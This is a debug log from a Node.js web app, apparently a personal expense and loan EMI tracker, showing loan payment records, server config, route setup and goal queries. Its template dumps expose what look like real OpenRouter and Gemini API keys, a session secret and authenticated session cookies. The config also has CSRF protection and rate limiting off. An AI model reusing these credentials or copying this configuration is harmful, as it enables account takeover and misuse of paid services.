    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: '2026-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-05-01T04:51:30.837Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-01T04:51:31.015Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-01T04:51:31.101Z server-connect:setup:upload Upload middleware configured.
2026-05-01T04:51:31.101Z server-connect:secure CSRF Protection initialized
2026-05-01T04:51:31.103Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-01T04:51:31.105Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-01T04:51:31.105Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-01T04:51:31.106Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-01T04:51:31.106Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-01T04:51:31.107Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-01T04:51:31.108Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-01T04:51:31.108Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-01T04:51:31.111Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-01T04:51:31.112Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-01T04:51:31.112Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-01T04:51:31.112Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-01T04:51:31.113Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-01T04:51:31.113Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-01T04:51:31.113Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-01T04:51:31.114Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-01T04:51:31.115Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-01T04:51:31.115Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-01T04:51:31.115Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-01T04:51:31.116Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-01T04:51:31.116Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-01T04:51:31.116Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-01T04:51:31.116Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-01T04:51:31.117Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-01T04:51:31.117Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-01T04:51:31.117Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-01T04:51:31.117Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-01T04:51:31.118Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-01T04:51:31.118Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-01T04:51:31.119Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-01T04:51:31.119Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-01T04:51:31.119Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-01T04:51:31.119Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-01T04:51:31.120Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-01T04:51:31.120Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-01T04:51:31.120Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-01T04:51:31.120Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-01T04:51:31.120Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-01T04:51:31.296Z server-connect:router Serving templateView /credit-cards
2026-05-01T04:51:31.300Z server-connect:app Executing action step identify
2026-05-01T04:51:31.300Z server-connect:app options: { provider: 'security' }
2026-05-01T04:51:31.302Z server-connect:output identity: 1
2026-05-01T04:51:31.302Z server-connect:app Executing action step restrict
2026-05-01T04:51:31.302Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T04:51:31.303Z server-connect:output restrict: undefined
2026-05-01T04:51:31.304Z server-connect:router Render template credit-cards
2026-05-01T04:51:31.304Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-02T04:48:27.645Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/credit-cards',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/credit-cards',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/credit-cards',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-01T04:51:31.959Z server-connect:router Serving templateView /goal
2026-05-01T04:51:31.960Z server-connect:app Executing action step identify
2026-05-01T04:51:31.960Z server-connect:app options: { provider: 'security' }
2026-05-01T04:51:31.960Z server-connect:output identity: 1
2026-05-01T04:51:31.960Z server-connect:app Executing action step restrict
2026-05-01T04:51:31.960Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-01T04:51:31.961Z server-connect:output restrict: undefined
2026-05-01T04:51:31.961Z server-connect:router Render template goal
2026-05-01T04:51:31.961Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-02T04:48:27.645Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AemJaxIJ%2BN%2FTvixkmSBfeHg%3D%3D.fcOY3%2F%2BXo%2BW4ybtBVRUpEqcU9HZzSW73ydJMPUpF5EMkRNqpU9Py50xjMH%2FGtLKO4B0eYQKsl%2Fbd3CEe%2B%2FysMFmZPNAREeLzbDehyuNfWj7SyBbSFdCYiVtv9je6I%2FPeeeljXT9sJbBbIf7pyjVAsZ6V60OrzFXxagu8Eb9SgaU%3D.zHkL1LtzSoigvB7HUIXB6vXpx%2B73fZpeZvWcjqoyND0; your_r_git.sid=s%3ASfZdOFEmv_loC9sAGwPzBtyecaLT9CzI.9Ai8Do%2B5WXz2cATXMgnc83H0WPqhCslAXYzUvovlIFk',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-01T04:51:32.231Z server-connect:router Serving serverConnect /api/goals/list
2026-05-01T04:51:32.232Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-05-01T04:51:32.233Z server-connect:app Executing action step identify
2026-05-01T04:51:32.233Z server-connect:app options: { provider: 'security' }
2026-05-01T04:51:32.233Z server-connect:output identity: 1
2026-05-01T04:51:32.233Z server-connect:app Executing action step restrict
2026-05-01T04:51:32.233Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:51:32.233Z server-connect:app Executing action step identify
2026-05-01T04:51:32.233Z server-connect:app options: { provider: 'security' }
2026-05-01T04:51:32.234Z server-connect:output identity: 1
2026-05-01T04:51:32.234Z server-connect:app Executing action step restrict
2026-05-01T04:51:32.234Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:51:32.234Z server-connect:output restrict: undefined
2026-05-01T04:51:32.235Z server-connect:app Executing action step custom
2026-05-01T04:51:32.235Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-05-01T04:51:32.237Z server-connect:output restrict: undefined
2026-05-01T04:51:32.238Z server-connect:app Executing action step paged
2026-05-01T04:51:32.238Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-01T04:51:32.241Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-05-01T04:51:32.244Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-05-01T07:40:06.518Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-01T07:40:08.745Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-01T07:40:09.610Z server-connect:setup:upload Upload middleware configured.
2026-05-01T07:40:09.610Z server-connect:secure CSRF Protection initialized
2026-05-01T07:40:09.615Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-01T07:40:09.617Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-01T07:40:09.618Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-01T07:40:09.621Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-01T07:40:09.629Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-01T07:40:09.629Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-01T07:40:09.644Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-01T07:40:09.657Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-01T07:40:09.662Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-01T07:40:09.664Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
